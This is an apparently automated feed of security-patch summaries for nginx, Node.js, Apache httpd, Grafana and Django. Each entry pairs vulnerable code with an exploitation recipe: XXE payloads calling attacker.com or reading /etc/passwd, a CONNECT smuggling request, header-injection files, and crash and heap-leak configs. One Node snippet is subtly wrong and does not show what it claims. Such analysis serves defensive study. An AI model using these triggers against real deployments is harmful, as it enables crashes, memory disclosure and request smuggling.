“Exposing patches before CVEs since 2025”
Sunday, July 19, 2026
Jul 17, 2026, 10:02 PM — nginx/nginx
Commit: 95a24d1b9cdd89608c601748e2fdfe94fb81e7b3
Author: Vadim Zhestikov
In ngx_http_image_filter_module.c, ctx->length was set to the allocation size (image_filter_buffer) rather than the actual number of bytes received from the upstream when Content-Length was absent. If the upstream connection was truncated before filling the buffer, the image size parser and image decoders (ngx_http_image_size(), ngx_http_image_source()) would read/parse past the valid received data into uninitialized heap memory, potentially leaking memory contents or causing crashes when processing the resulting 'image' data (e.g., via JSON size output or generated thumbnail).
if (b->last_buf) {
ctx->last = p;
return NGX_OK;
}
// ctx->length remains == allocation size (image_filter_buffer), not actual bytes read
Configure nginx with image_filter enabled proxying to an upstream that sends a response without a Content-Length header and closes the connection early after sending only a few bytes (less than image_filter_buffer, e.g., 100 bytes of a valid JPEG header). Because ctx->length is set to the full buffer size (default 1M) instead of the ~100 bytes actually received, ngx_http_image_size() or the GD decoders will read/parse the uninitialized remainder of the buffer as if it were valid image data, potentially exposing uninitialized memory in the JSON size response (width/height fields derived from garbage) or causing erratic decoder behavior. This matches the nginx-tests case image_filter_truncated.t used to verify the fix.
Jul 17, 2026, 12:39 PM — nodejs/node
Commit: 46de80de88c6ab0fc1fa27aa4d51804c7e989da4
Author: esgor
In node's HTTP/2 implementation, nghttp2_session_mem_recv() could trigger callbacks (e.g., on receiving RST_STREAM or via JS callbacks during data delivery) that synchronously destroy an Http2Stream or invoke SendPendingData()/nghttp2_session_mem_send(), freeing nghttp2 internal stream state that is still being used by the in-progress mem_recv() call. This allows a remote peer to send crafted HTTP/2 frames (e.g., interleaved RST_STREAM and DATA frames) that cause the session to close/free stream memory mid-parse, leading to heap-use-after-free that can crash the process or potentially be leveraged for further exploitation.
void Http2Stream::Destroy() {
if (is_destroyed()) return;
if (session_->has_pending_rststream(id_))
FlushRstStream();
set_destroyed();
...
}
// SendPendingData() had no guard against being called while
// nghttp2_session_mem_recv() was still processing incoming data.
A remote HTTP/2 client sends a sequence of frames on a Node.js HTTP/2 server such that within a single TCP read (single nghttp2_session_mem_recv() call) it: 1) opens a stream and sends HEADERS causing the JS 'stream' event, 2) immediately follows with a RST_STREAM frame for that same stream id in the same TCP packet/buffer. While nghttp2 is still processing subsequent frames in mem_recv (still referencing the stream's internal nghttp2_stream struct), the RST_STREAM handling path (SubmitRstStream/FlushRstStream) previously invoked nghttp2_submit_rst_stream + nghttp2_session_mem_send synchronously, freeing/closing the stream object mid-parse. Repeated rapid RST_STREAM injections combined with pipelined frames (similar to HTTP/2 Rapid Reset style attacks) can reliably trigger use of freed nghttp2 stream memory in nghttp2_session_mem_recv(), causing a crash (DoS) as tracked in nodejs/node#64113.
Jul 17, 2026, 12:12 PM — apache/httpd
Commit: 54862287191d004a52ad080a20e4e947133b3e09
Author: Joe Orton
In mod_ldap's cache handling, the code released the LDAP cache lock after fetching a 'curl' (URL cache node) pointer and then re-acquired the lock later to access curl's sub-caches (compare_cache, dn_compare_cache). Between the unlock and re-lock, another worker thread/process could evict or free that URL node from the cache, leaving 'curl' as a dangling pointer that is subsequently dereferenced, causing memory corruption or a crash. The fix holds the lock continuously across the fetch-and-use sequence and re-fetches the URL node under the lock before write-back operations.
curl = util_ald_cache_fetch(st->util_ldap_cache, &curnode); ldap_cache_unlock(st, r); ... ldap_cache_lock(st, r); node = util_ald_cache_fetch(curl->dn_compare_cache, &newnode); // curl may be stale/freed
In a multi-worker httpd deployment using mod_ldap with mod_authnz_ldap for concurrent LDAP-authenticated requests: Thread A calls uldap_cache_comparedn(), fetches 'curl' pointer for URL X, then unlocks the cache. Before Thread A re-locks and dereferences curl->dn_compare_cache, Thread B triggers eviction of the LRU cache entry for URL X (e.g., by causing enough distinct LDAP URLs/caches to be created, exceeding cache size, via requests to many different LDAP backends or repeated cache churn), freeing the memory backing 'curl'. Thread A then dereferences the freed 'curl' pointer, leading to a use-after-free that can crash the worker process (DoS) or potentially be leveraged for further memory corruption under specific allocator conditions. Repeated concurrent LDAP auth requests reliably trigger the race and intermittent worker crashes, as noted in the changelog entry 'Fix intermittent worker crashes under concurrent LDAP-authenticated requests.'
Jul 17, 2026, 12:12 PM — apache/httpd
Commit: 753188653c2e139ffbeead6eacdb179adfa14826
Author: Joe Orton
Before the patch, mod_cern_meta.c merged every header line found in a .meta file directly into the outgoing response headers without restriction. Because HTTP framing-related headers (Transfer-Encoding, Content-Length, Connection, Trailer, Upgrade, Keep-Alive, TE) were not filtered, an attacker who could influence the content of a .meta file (e.g. via file upload, misconfiguration, or shared hosting) could set arbitrary or conflicting framing headers, enabling HTTP response splitting or request smuggling against clients or intermediary proxies. The fix explicitly rejects these framing headers and returns a 500 error if they are present in a .meta file.
else {
apr_table_set(tmp_headers, w, l);
}
Create a .meta file (e.g. index.html.meta in the MetaDir) containing: Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html <script>alert(1)</script> When Apache serves the associated resource with MetaFiles on, mod_cern_meta merges this header list verbatim into the response. The injected Content-Length (and potentially Transfer-Encoding) header creates a framing mismatch that can be leveraged for HTTP response splitting or request smuggling against downstream caches/proxies, allowing attacker-controlled content to be interpreted as a separate HTTP response.
Jul 17, 2026, 12:12 PM — apache/httpd
Commit: 22dc622fc5c1cefcca4a889560ccc08a0592d2a4
Author: Joe Orton
When mod_remoteip processes a PROXY protocol v2 header with the LOCAL command, it returned without setting conn_conf->client_addr and client_ip, leaving them NULL. Later code that assumes these fields are populated (mirroring the v1 UNKNOWN path which was already fixed) would then dereference the NULL pointer, crashing the worker process. This is remotely triggerable by any client permitted to send a PROXY protocol header with the LOCAL command to a server with RemoteIPProxyProtocol enabled.
switch (hdr->v2.ver_cmd & 0xF) {
case 0x00: /* LOCAL command */
/* keep local connection address for LOCAL */
return HDR_DONE;
Connect to an Apache httpd server with mod_remoteip's RemoteIPProxyProtocol enabled, and send a PROXY protocol v2 header with the LOCAL command byte (ver_cmd & 0xF == 0x00), e.g. raw bytes: '\r\n\r\n\x00\r\nQUIT\n' (v2 signature) followed by version/command byte 0x20 (v2, LOCAL) and a zero length, then proceed with an HTTP request. Because client_addr/client_ip remain NULL after processing, subsequent code paths that read c->client_ip or conn_conf->client_addr will dereference NULL, crashing the httpd worker process (Denial of Service).
Jul 16, 2026, 07:27 PM — nginx/nginx
Commit: fc9749b4170d493868dfaf44411d8fd9325d2f47
Author: Vadim Zhestikov
When xmlCreatePushParserCtxt() fails to allocate a parser context (e.g., under memory pressure), ngx_http_xslt_add_chunk() returns NGX_ERROR without setting ctx->ctxt, but the caller ngx_http_xslt_body_filter() still dereferences ctx->ctxt->myDoc on the error path, causing a NULL pointer dereference and worker process crash. The patch adds a check for ctx->ctxt == NULL before dereferencing it, avoiding the crash and gracefully sending the response.
if (ngx_http_xslt_add_chunk(r, ctx, cl->buf) != NGX_OK) {
if (ctx->ctxt->myDoc) {
#if (NGX_HTTP_XSLT_REUSE_DTD)
...
Trigger memory allocation failure during libxml2 push parser context creation (e.g., by exhausting worker memory via many concurrent XSLT-filtered requests with large bodies) so that xmlCreatePushParserCtxt() returns NULL inside ngx_http_xslt_add_chunk(). The subsequent access to ctx->ctxt->myDoc in ngx_http_xslt_body_filter()'s error path dereferences a NULL pointer, crashing the nginx worker process and causing a denial of service for all connections handled by that worker.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: b767540492e8c79a58bc26034d3bab2f708b7bd1
Author: Maxim Dounin
The nginx script engine (used for rewrite, map, set directives and complex value evaluation) computed the required buffer length in a first pass and then wrote data in a second pass without re-checking bounds. When variables with side effects (e.g., regex captures modifying other variables) or non-cacheable/volatile variables were evaluated, the length computed in the length-pass could become smaller than the actual data written in the copy-pass, causing a heap buffer overflow. This is exploitable via crafted configurations combining map/set with capturing regexes and volatile variables, which can be triggered by attacker-controlled request data (URI, headers) matched against the regex.
e.ip = val->values;
e.pos = value->data;
e.buf = *value;
while (*(uintptr_t *) e.ip) {
code = *(ngx_http_script_code_pt *) e.ip;
code((ngx_http_script_engine_t *) &e);
}
Configure nginx with:
map $uri $map {
~(?<capture>.*) $capture;
}
set $capture "";
set $temp "$capture $map";
Send a request with a URI whose length triggers a mismatch between the length-computation pass (using old $capture value) and the copy pass (using the value set by the map block, which mutates $capture as a side effect). This causes the second pass to write more bytes than allocated, overflowing the heap buffer allocated for $temp. Similarly, using a volatile variable like:
map prefix:$capture $map_volatile {
volatile;
~(?<capture>.*) $capture;
}
set $capture "";
set $temp "$map_volatile";
can cause the variable's length to differ between the length and copy phases (since it's re-evaluated non-cacheably), leading to the same heap overflow when e.g. an attacker sends a request whose URI capture group value changes in length between evaluations.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: a8289aa69c74f7e664ad63b91c17aa2a554f190f
Author: Roman Arutyunyan
The nginx script engine predicted a maximum length for computed variables/rewrite results (based on regex capture group max sizes) but the actual output could be shorter, especially with variable-length regex captures. The code returned the full predicted-length buffer without truncating to actual written length, leaking uninitialized (garbage) heap memory bytes to clients in HTTP responses via variables set by 'set', 'return', or map directives using regex captures.
value->len = len; value->data = ngx_pnalloc(r->pool, len); ... code((ngx_http_script_engine_t *) &e); ... *value = e.buf; // buf.len is the predicted max length, not actual written length
Configure:
map $uri $foo {
~^/(?<bar>[0-9]).*$ $bar;
}
location ~(?<bar>[0-9]*)[a-z]*$ {
return 200 $1:$foo;
}
Then request: GET /1234abcd
The response body will contain the expected short digits/colon but with trailing uninitialized heap bytes appended, since the predicted length (based on the regex's maximum possible capture size) exceeds the actual matched substring length, and the buffer isn't truncated to reflect the real written size — leaking adjacent heap memory content to the client.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: 0cca8e055a2d909f1a00c2071665b502ec2fe94c
Author: Pavel Pautov
When ngx_http_regex_exec() reallocates r->captures because the previous buffer was too small or marked for reallocation, it failed to reset r->ncaptures to 0 when the regex subsequently did not match. This left r->ncaptures referencing stale capture indices from a prior (larger) match, so later code reading $1, $2, etc. would read uninitialized or out-of-bounds memory from the newly allocated (and not fully populated) captures array, potentially leaking sensitive heap memory into response headers or bodies.
if (r->captures == NULL || r->realloc_captures) {
r->realloc_captures = 0;
r->captures = ngx_palloc(r->pool, len * sizeof(int));
...
}
// r->ncaptures not reset when regex doesn't match
Using the provided nginx config:
map test $my_map {
volatile;
~mismatch(.*) 1; # triggers realloc of r->captures in subrequest, regex fails to match
default "";
}
server {
location ~(.*) { # sets r->ncaptures with a real match
slice 50;
proxy_set_header Test $my_map$1; # $1 reads r->captures using stale r->ncaptures from before realloc
proxy_set_header Range $slice_range;
proxy_pass http://backend;
}
}
Sending a request that triggers the slice module to create subrequests causes ngx_http_regex_exec() to run the $my_map regex (which doesn't match, reallocating r->captures without resetting r->ncaptures). The subsequent evaluation of $1 in proxy_set_header Test then reads uninitialized/stale memory from the reallocated captures array, potentially leaking process memory contents into the proxied Test header sent to the backend.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: 700dc9e0e750e3f63587f9d0f9f36bae5ec47202
Author: Roman Arutyunyan
A subrequest that gets posted twice (once via ngx_http_subrequest() and again via ngx_http_postpone_filter() during unbuffered proxying with SSI includes) could be finalized twice, causing r->main->count to be decremented excessively. This reference-count corruption can lead to premature freeing of the request/pool while it is still referenced elsewhere, resulting in a use-after-free that could be leveraged for memory corruption or worker process crashes (DoS), and potentially further exploitation.
for (p = &r->main->posted_requests; *p; p = &(*p)->next) { /* void */ }
*p = pr;
... r->main->count--; ... (no reset of write_event_handler)
Configure nginx with SSI enabled and an SSI page containing two <!--#include--> directives where the included subrequests are proxied to an upstream with unbuffered proxying (proxy_buffering off) enabled, e.g.:
location /page.shtml { ssi on; }
location /sub1 { proxy_pass http://backend1; proxy_buffering off; }
location /sub2 { proxy_pass http://backend2; proxy_buffering off; }
page.shtml:
<!--#include virtual="/sub1" -->
<!--#include virtual="/sub2" -->
When the main request has data postponed by one include while another subrequest is created, and the backend for the second subrequest sends its response quickly (before the postponed data is flushed), the postpone filter will post the same subrequest a second time. This double posting causes ngx_http_finalize_request to be called twice for the same subrequest, decrementing r->main->count twice and leading to use-after-free of the main request structure, crashing the worker process or potentially being exploited for further memory corruption.
Jul 15, 2026, 02:37 PM — nginx/nginx
Commit: d798231b56bb4a6284999e3b868b503c4a7ee8d3
Author: Roman Arutyunyan
Before the patch, nginx computed r->keepalive based on Connection header even for HTTP CONNECT requests, allowing the underlying connection to be treated as reusable for further HTTP request processing after a CONNECT tunnel was established. Since data sent by the client after the CONNECT blank line is meant to be tunneled (per RFC 2817), enabling keepalive could cause nginx to misinterpret tunneled bytes as pipelined HTTP requests, leading to request smuggling/desync between the client and backend.
switch (r->headers_in.connection_type) {
case 0:
r->keepalive = (r->http_version > NGX_HTTP_VERSION_10);
break;
case NGX_HTTP_CONNECTION_KEEP_ALIVE:
r->keepalive = 1;
break;
}
Send: `CONNECT backend:443 HTTP/1.1\r\nHost: backend\r\nConnection: keep-alive\r\n\r\nGET /admin HTTP/1.1\r\nHost: victim\r\n\r\n` — with keepalive enabled after CONNECT, nginx may treat the trailing `GET /admin` as a new pipelined request on the same connection instead of purely tunneled data, enabling smuggling of a second request that bypasses intended request boundaries.
Jul 15, 2026, 10:06 AM — nginx/nginx
Commit: a6a942fd6a7e18cc168a4c0281118d08181d668f
Author: Maxim Dounin
The Perl module's sleep() and has_request_body() XS functions called SvRV() on the handler argument without checking whether it was actually a reference to a code value (SVt_PVCV). If a script passed a non-reference (e.g., a plain string) as the handler, SvRV() would dereference invalid memory, causing a segmentation fault and crashing the worker process. This is exploitable by any nginx configuration or perl script that accepts external input as the handler argument, leading to a denial of service.
ctx->next = SvRV(ST(1)); // has_request_body ... ctx->next = SvRV(ST(2)); // sleep
In an nginx perl handler script:
$r->has_request_body("not_a_coderef");
or
$r->sleep(1000, "not_a_coderef");
Passing a plain scalar string instead of a code reference as the handler argument causes SvRV() to dereference an invalid pointer, crashing the nginx worker process with a segmentation fault (DoS).
Jul 15, 2026, 10:06 AM — nginx/nginx
Commit: d9b7669666c8acaf9ec109ce6c2f16011a5a3762
Author: Maxim Dounin
The nginx perl module relied on SvREADONLY() to decide whether to zero-copy a Perl SV's buffer directly into an nginx buffer or ngx_str_t without incrementing its reference count. When the SV came from a short-lived context (e.g. within an eval block), Perl could free or reuse the underlying string memory after the eval scope ended but before nginx finished using the buffer, resulting in a heap use-after-free when the freed memory is later read (e.g. during response output or in the sleep/has_request_body deferred handler paths). This is remotely triggerable by any config that embeds perl handlers using eval-created strings/subs.
if (SvREADONLY(sv) && SvPOK(sv)) {
s->data = p;
return NGX_OK;
}
... (also in print(): zero-copy without refcount for SvREADONLY sv)
nginx.conf:
location / {
perl 'sub {
my $r = shift;
$r->send_http_header;
eval q!$r->print("it works")!;
return OK;
}';
}
Requesting this location causes $r->print to store a raw pointer into the temporary SV created inside the eval block. Once eval returns, Perl frees/reuses the SV's PV buffer, and nginx later reads this freed memory while sending the response body, producing a heap use-after-free (observed as corrupted output or crash).
Jul 15, 2026, 10:06 AM — nginx/nginx
Commit: cf94d5691a895994714efc288e07b3fec3af5089
Author: Maxim Dounin
The nginx Perl module allowed Perl scripts to retain and reuse stale request objects across requests, or to bless arbitrary Perl scalars into the 'nginx' package, causing ngx_http_perl_set_request to dereference freed or attacker-controlled memory as an ngx_http_perl_ctx_t pointer. This can lead to segmentation faults (DoS) or potentially memory corruption/RCE if the freed memory is reused with attacker-controlled content. The patch adds validation via a global active-context pointer, ensuring only the currently active request context can be used.
#define ngx_http_perl_set_request(r, ctx) \
ctx = INT2PTR(ngx_http_perl_ctx_t *, SvIV((SV *) SvRV(ST(0)))); \
r = ctx->request
Configure nginx with a Perl handler that stashes the request object across invocations:
location /stale {
perl 'sub {
my $r = shift;
$prev->log_error(0, "next request arrived") if $prev;
$prev = $r;
$r->send_http_header;
return OK;
}';
}
Send two successive HTTP requests to /stale. On the second request, $prev (from the first, now-completed and freed request) is used, causing ngx_http_perl_set_request to dereference a freed ngx_http_perl_ctx_t and crash the worker process (segfault). Alternatively:
location /bless {
perl 'sub {
my $v = 10;
my $r = bless \$v, "nginx";
$r->send_http_header;
return OK;
}';
}
A request to /bless creates a fake 'nginx'-blessed object from an arbitrary scalar, and calling $r->send_http_header treats the scalar's integer value as a pointer to ngx_http_perl_ctx_t, causing a segmentation fault or memory corruption.
Jul 14, 2026, 04:35 PM — grafana/grafana
Commit: a914b350118c7bcf76d6a1ae3a7df490fab1837d
Author: Sergej-Vlasov
The v14→v16 dashboard schema migration's getPanelPosition function recursed unconditionally when a panel could not fit into the row's grid area. A legacy row panel with a span greater than 12 produces a panelWidth larger than the 24-column grid, meaning it can never satisfy the fit check, causing infinite recursion and a stack overflow that crashes the Grafana backend process. The patch restores a callOnce guard so the function wraps to the next row at most once before returning nil instead of recursing forever.
// Wrap to next row r.yPos += r.height r.reset() return r.getPanelPosition(panelHeight, panelWidth)
Import or migrate a dashboard JSON with schemaVersion 15 containing a row panel like:
{"rows": [{"panels": [{"id": 2, "type": "table", "span": 24, "title": "Clusters"}]}]}
When the backend runs the V16 migration on this dashboard, getPanelPosition recurses indefinitely (since panelWidth=48 > gridColumnCount=24 can never fit), causing a stack overflow and crashing the Grafana process — a remotely triggerable Denial of Service via dashboard import/migration.
Jul 14, 2026, 12:38 PM — nginx/nginx
Commit: 44c66e92c88bf2367dd31efc9d5843c0838d11f2
Author: Zhidao HONG
When parsing HTTP/2 (gRPC) and proxy-v2 response headers, the code computed ctx->name.len/ctx->value.len from the HPACK-encoded field length (including a x8/5 expansion for Huffman-coded data) and passed it directly to ngx_pnalloc without validating it against the configured upstream buffer_size. A malicious or compromised upstream server could send crafted HEADERS frames with very large field lengths, causing nginx to allocate large amounts of request-pool memory per header field and across many fields in a header block, leading to excessive memory consumption and potential denial of service. The patch adds explicit checks that reject name/value lengths exceeding upstream->conf->buffer_size before allocation, and maintains a decreasing header_limit counter across the whole header block to bound total memory used per HEADERS frame.
ctx->name.len = ctx->field_huffman ?
ctx->field_length * 8 / 5 : ctx->field_length;
ctx->name.data = ngx_pnalloc(r->pool, ctx->name.len + 1);
... (same pattern for ctx->value.len allocation, no size check against buffer_size)
An attacker controlling or spoofing the gRPC/HTTP2 upstream sends a HEADERS frame whose HPACK-encoded literal header field declares an extremely large string length (e.g., close to the max representable in the varint, or crafted so that field_length * 8/5 yields a huge value) for a header name or value. Since nginx used this attacker-controlled length directly in ngx_pnalloc(r->pool, len+1) without comparing it to upstream buffer_size, repeated such headers in one HEADERS frame could force nginx worker processes to allocate large amounts of pool memory per request, exhausting memory when many such requests/connections are made, resulting in a denial-of-service condition on the nginx server acting as a reverse proxy to that upstream.
Jul 13, 2026, 05:49 PM — nginx/nginx
Commit: 017dbad85610c0f267cb65ab99907b655be159e1
Author: Maxim Dounin
The XSLT filter module parsed backend XML responses with XML_PARSE_NOENT enabled but without XML_PARSE_NONET, allowing external general entities declared in the internal DTD subset (e.g. SYSTEM "http://...") to be resolved over the network during parsing. Since XML parsing happens synchronously in the nginx worker process, a malicious or compromised backend response could cause the worker to block for a long time fetching a remote/slow resource, resulting in a denial-of-service condition, or be used for SSRF-style network requests from the server. The fix adds XML_PARSE_NONET to the parser options, disabling network-based resolution of external entities.
xmlCtxtUseOptions(ctxt, XML_PARSE_NOENT|XML_PARSE_DTDLOAD
|XML_PARSE_NOWARNING);
ctxt->sax->externalSubset = ngx_http_xslt_sax_external_subset;
A backend response processed by ngx_http_xslt_filter_module contains: <?xml version="1.0"?> <!DOCTYPE d [ <!ENTITY x SYSTEM "http://attacker.com/slow-endpoint"> ]> <d>&x;</d> When nginx's XSLT filter parses this document with XML_PARSE_NOENT set, libxml2 attempts to resolve the external entity 'x' over the network to attacker.com, which can be made to respond slowly or hang, blocking the nginx worker process handling the request until the connection times out (DoS). On libxml2 builds/versions where network loading is not restricted by default, this also enables SSRF-like requests originating from the server.
Jul 13, 2026, 05:49 PM — nginx/nginx
Commit: 4d0e620f9ad4e81dc229ca423fbbf3c2e23b3f83
Author: Maxim Dounin
The nginx XSLT filter module parsed untrusted upstream XML with XML_PARSE_NOENT | XML_PARSE_DTDLOAD without restricting external general entity resolution declared in the internal DTD subset. An attacker who can influence the XML response body could declare an entity with a SYSTEM identifier pointing to a local file or (on network-enabled libxml2 builds) a remote URL, causing the worker process to read arbitrary local files or make outbound network requests, potentially leading to information disclosure or SSRF, and even worker blocking via slow network fetches.
ctxt->options = (XML_PARSE_NOENT|XML_PARSE_DTDLOAD
|XML_PARSE_NONET|XML_PARSE_NOWARNING);
ctxt->sax->externalSubset = ngx_http_xslt_sax_external_subset;
/* no entityDecl hook to strip SYSTEM ids from internal subset entities */
Send an XML response to be processed by the xslt filter containing: <?xml version="1.0"?> <!DOCTYPE d [ <!ENTITY x SYSTEM "file:///etc/passwd"> ]> <root>&x;</root> Before the patch, libxml2 would expand &x; and include the contents of /etc/passwd (or fetch a URL like http://internal-host/) into the parsed document, which could then be reflected in the XSLT-transformed output or cause SSRF/blocking behavior.
Jul 7, 2026, 01:30 PM — nodejs/node
Commit: 2e8f4d7ad214332538ca9eed52269c92dfced8db
Author: Efe
When a unidirectional QUIC stream is created without a registered 'onstream' handler, JavaScript synchronously destroys the stream object, but native code (DefaultApplication) continues to access the now-destroyed Stream object, causing a use-after-free crash. Additionally, Session::Impl destructor called endpoint->RemoveSession() before releasing arena slots, allowing the last reference to the Session to be dropped and then having session_->env() accessed afterward, also a use-after-free. Both are remotely triggerable by any QUIC peer opening a unidirectional stream when no onstream handler is registered.
stream = BaseObjectPtr<Stream>(Stream::From(stream_user_data)); // ... no check for is_destroyed() before continuing to use `stream` // session.cc destructor: endpoint->RemoveSession(config_.scid, remote_address_); auto& binding = BindingData::Get(env()); if (stats_slot_) GetSessionStatsArena(binding).ReleaseSlot(stats_slot_);
A remote QUIC client connects to a Node.js QUIC server (or vice versa) that has not registered an 'onstream' event handler, then opens a unidirectional stream and sends data, e.g.:
const session = await connect(serverAddr, { alpn: 'repro' });
await session.opened;
await session.createUnidirectionalStream({ body: 'trigger crash' });
On the receiving side (no onstream handler registered), the JS layer synchronously destroys the stream object upon creation event since there is no handler, but the native DefaultApplication code keeps using the freed Stream pointer while processing incoming stream data, causing a crash (denial of service) or potentially exploitable memory corruption due to use-after-free.
Jul 7, 2026, 03:30 AM — django/django
📈 Patch landed 12 hours 2 minutes before CVE published
Commit: 3a720d0d8bf2529253b98968f10ca73daf6d693c
Author: Natalia
DomainNameValidator's regex used `$` instead of `\\Z` as the end anchor, which in Python regex matches before a trailing newline. This allowed strings like 'example.com\\n' to pass validation as a valid domain name, potentially enabling HTTP header/CRLF injection if such validated values were later embedded into HTTP headers or other newline-sensitive contexts outside Django's form fields.
self.regex = _lazy_re_compile(
r"^" + self.hostname_re + self.domain_re + self.tld_re + r"$",
re.IGNORECASE,
)
from django.core.validators import DomainNameValidator
validator = DomainNameValidator()
validator('example.com\n') # Does NOT raise ValidationError before the patch, allowing a newline-terminated domain to pass validation and potentially be injected into an HTTP header (e.g., Host or Location) causing CRLF injection/header splitting in custom code that trusts this validator.
Jul 7, 2026, 03:30 AM — django/django
📈 Patch landed 12 hours 2 minutes before CVE published
Commit: 6ca2bbe2efce21010eff48f1f36a3f621d698ed8
Author: Jacob Walls
When constructing a GDALRaster from a bytes object, the code used sys.getsizeof() to determine the buffer size, which includes CPython's PyBytesObject overhead (~32-49 bytes) rather than the actual data length. This caused GDAL to read past the end of the allocated buffer into adjacent heap memory when accessing the vsi_buffer property, potentially disclosing sensitive heap memory contents or causing a crash.
size = sys.getsizeof(ds_input) # Pass data to ctypes, keeping a reference to the ctypes object so # that the vsimem file remains available until the GDALRaster is # deleted. self._ptr_buffer = c_buffer(ds_input, size)
from django.contrib.gis.gdal.raster.source import GDALRaster
rst_bytes = open('raster.tif','rb').read()
vsimem = GDALRaster(rst_bytes)
# vsimem.vsi_buffer will be longer than len(rst_bytes) due to sys.getsizeof() including PyBytesObject overhead (~32 bytes), exposing adjacent heap memory:
assert len(vsimem.vsi_buffer) != len(rst_bytes) # over-read demonstrated
Jul 7, 2026, 03:30 AM — django/django
📈 Patch landed 12 hours 2 minutes before CVE published
Commit: 6e365f8d01f2ba0bbd90968d76a42600fb8bc4b1
Author: Natalia
UpdateCacheMiddleware only skipped caching Set-Cookie responses varying on Cookie when the incoming request had zero cookies, so a request carrying any unrelated cookie (e.g., a language preference) bypassed the protection. This allowed a response that issues a new session or CSRF cookie to be stored in Django's shared cache and served to other users, leaking session cookies via a shared cache hit. The patch removes the 'no cookies at all' condition, always skipping caching when a response sets a cookie and varies on Cookie.
if (
not request.COOKIES
and response.cookies
and has_vary_header(response, "Cookie")
):
return response
1. Client sends GET /view/ with Cookie: unrelated=value (e.g. a language preference cookie). 2. Server (via CsrfViewMiddleware or session middleware) responds with Set-Cookie: csrftoken=NEW_SECRET and Vary: Cookie. 3. Because request.COOKIES is non-empty (contains 'unrelated'), the old guard 'not request.COOKIES' is False, so the response is cached under UpdateCacheMiddleware with a cache key derived from the Cookie header value 'unrelated=value'. 4. A different client sending the same Cookie: unrelated=value header (trivial to guess/share) receives the cached response and thus the first client's freshly issued session/CSRF cookie, allowing session fixation/hijacking.
Jul 7, 2026, 02:58 AM — nodejs/node
Commit: d7aca7e158b37b1a357cbd6d81f6d2454d07e3ef
Author: Tim Perry
The QUIC session's `closed` promise was not marked as handled before being rejected on error close, unlike the `opened` promise. If an application does not synchronously attach a handler to `session.closed`, a remote peer can trigger an error close (e.g., via a QUIC error code on connection close), causing an unhandled promise rejection that crashes the Node.js process by default, since Node exits on unhandled rejections unless configured otherwise.
if (error) {
// If the session is still waiting to be closed, and error
// is specified, reject the closed promise.
inner.pendingClose.reject?.(error);
} else {
1. Start a QUIC server that accepts sessions but does not attach a handler to `session.closed` synchronously.
2. As a remote client, connect and then call `clientSession.close({ code: 1 })` to trigger an error-coded close.
3. On the server, the session's `closed` promise rejects but is unobserved, triggering Node's default `unhandledRejection` handler, which terminates the process — allowing any remote client to crash the server.
Jul 6, 2026, 03:15 PM — nodejs/node
Commit: 1e14be8f786321ce9c215b96d2dbf92394749515
Author: Ic3b3rg
BrotliCompress/BrotliDecompress.flush(kind) forwarded any user-supplied value directly to the native brotli encoder/decoder without validating it was within the valid brotli operation range \[0,3\]. Passing an out-of-range value such as Z_FINISH (4) or Z_BLOCK causes the native layer to spin at 100% CPU indefinitely, allowing an attacker who controls the flush argument (e.g., in a server that exposes stream flushing based on user input) to cause a denial of service. The patch validates the kind against the brotli bound range and throws ERR_OUT_OF_RANGE for invalid values.
ZlibBase.prototype.flush = function(kind, callback) {
...
if (this.writableFinished) {
if (callback)
process.nextTick(callback);
} else if (this.writableEnded) {
...
} // kind forwarded to native layer without range validation
const zlib = require('zlib');
const c = zlib.createBrotliCompress();
c.flush(zlib.constants.Z_FINISH); // value 4, outside brotli's valid [0,3] range
// Before the patch: process spins at 100% CPU indefinitely (hang), causing a DoS.
// After the patch: throws RangeError [ERR_OUT_OF_RANGE]: The value of "kind" is out of range.
Jul 6, 2026, 02:05 PM — nodejs/node
Commit: 8a84e6be900edfb5764e4ec9acff0c0b0c4d8f34
Author: ympark2011
The inspector's ProtocolHandler::WriteRaw() dereferenced the tcp_ pointer without checking for null. When a remote debugger client disconnects, OnEof() resets tcp_ to nullptr, but queued write requests scheduled via uv_async callbacks or triggered during ParseWsFrames() processing could still invoke Write()/WriteRaw() afterward, causing a crash (EXCEPTION_ACCESS_VIOLATION) due to null pointer dereference. This is remotely triggerable by a debugger client that connects to the Node.js inspector port and disconnects at a specific time while messages are still queued or being processed, resulting in a denial-of-service crash of the Node.js process.
int ProtocolHandler::WriteRaw(const std::vector<char>& buffer,
uv_write_cb write_cb) {
return tcp_->WriteRaw(buffer, write_cb);
}
1. Start Node.js with --inspect to expose the debugger websocket. 2. Connect a WebSocket client to the inspector endpoint. 3. Send a compressed or malformed frame that triggers OnEof() internally during ParseWsFrames() processing (e.g., a frame with an unsupported compression extension flag), while also queuing an outgoing message (e.g., inspector protocol response) via the uv_async mechanism on the same event loop iteration. 4. Alternatively, abruptly disconnect the TCP connection (close socket) right after sending a request that causes the server to queue a response, so OnEof() resets tcp_ to nullptr before the async write callback fires. 5. The subsequent call to WsHandler::Write() -> ProtocolHandler::WriteRaw() dereferences the null tcp_ pointer (tcp_->WriteRaw(...)), causing an EXCEPTION_ACCESS_VIOLATION crash and terminating the Node.js process (DoS).
Jul 13, 2026, 11:32 PM — nodejs/node
Commit: 35115c05adcf6ec81f4a69b8ac7e8d1b7420c206
Author: Matteo Collina
The previous implementation of removeListener kept the removed event key in the internal `_events` object with an `undefined` value instead of deleting it, in order to preserve object shape for performance. When an application uses dynamically generated or attacker-influenced event names (e.g., per-connection IDs, user-supplied strings) and repeatedly adds/removes listeners for unique names, the `_events` object grows without bound because keys are never actually removed, leading to unbounded memory consumption and potential denial of service. The patch restores shape-mode only for emitters whose `_events` object matches the class prototype (fixed set of known keys) while properly deleting dynamic keys (or resetting `_events`) for ordinary emitters with unstructured event names.
// Leave the key in place with an `undefined` value... events[type] = undefined;
const EventEmitter = require('events');
const ee = new EventEmitter();
for (let i = 0; i < 1000000; i++) {
const eventName = `event-${i}`; // e.g. derived from attacker-controlled input
ee.on(eventName, () => {});
ee.removeListener(eventName, () => {});
}
// Before the patch, ee._events retains 1,000,000 keys with undefined values,
// causing continuous memory growth proportional to the number of unique
// dynamic event names ever used, exhausting process memory over time.
Jul 6, 2026, 02:06 PM — nodejs/node
Commit: 7d941ec7e8b19b0ec4c4316780e1eaf39c318095
Author: Trivikram Kamat
